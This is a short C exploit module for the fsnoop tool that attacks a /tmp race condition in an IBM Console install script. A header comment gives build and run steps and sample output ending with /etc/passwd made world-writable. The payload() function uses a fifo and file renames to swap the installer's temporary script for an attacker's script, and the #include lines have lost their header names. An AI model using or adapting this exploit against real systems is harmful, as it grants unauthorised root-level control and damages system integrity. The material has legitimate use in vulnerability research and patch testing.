/* fsnoop v3.3 module for exploitation of: http://www.vapidlabs.com/advisory.php?v=156 special thanks to v14dz for getting this working, and Mudge @dotmudge for pointing me at his /tmp race condition tool l0pht-watch. @v14dz http://vladz.devzero.fr/ $ make ibm-console.so /tmp/x is : #!/bin/sh chmod 777 /etc/passwd $ ./fsnoop -p ibm-consoleinst.so [+] ./ibm-consoleinst.so: ** IBM Console Install Exploit ** [+] ./ibm-consoleinst.so: payload=[0xb77775fb] file=[/tmp/consoleinst-HEREPID.sh] [+] ./ibm-consoleinst.so: waiting for command: "/bin/sh ./consoleinst.sh" [+] ./ibm-consoleinst.so: Exploitation done. [+] ./ibm-consoleinst.so: Unloading module. ls -l /etc/passwd -rwxrwxrwx 1 root root 1901 Nov 22 2014 /etc/passwd */ #include #include #include char title[] = "** IBM Console Install Exploit **"; /* filters */ char proc_name[] = "/bin/sh ./consoleinst.sh"; char file[] = "/tmp/consoleinst-HEREPID.sh"; /* Evil routines */ void payload() { int fd; /*from v14dz: I use a fifo here, to unlock the paymod execution right after the cp command*/ mkfifo(file, 0666); fd = open(file, O_RDONLY); rename(file, "/tmp/a"); rename("/tmp/x", file); }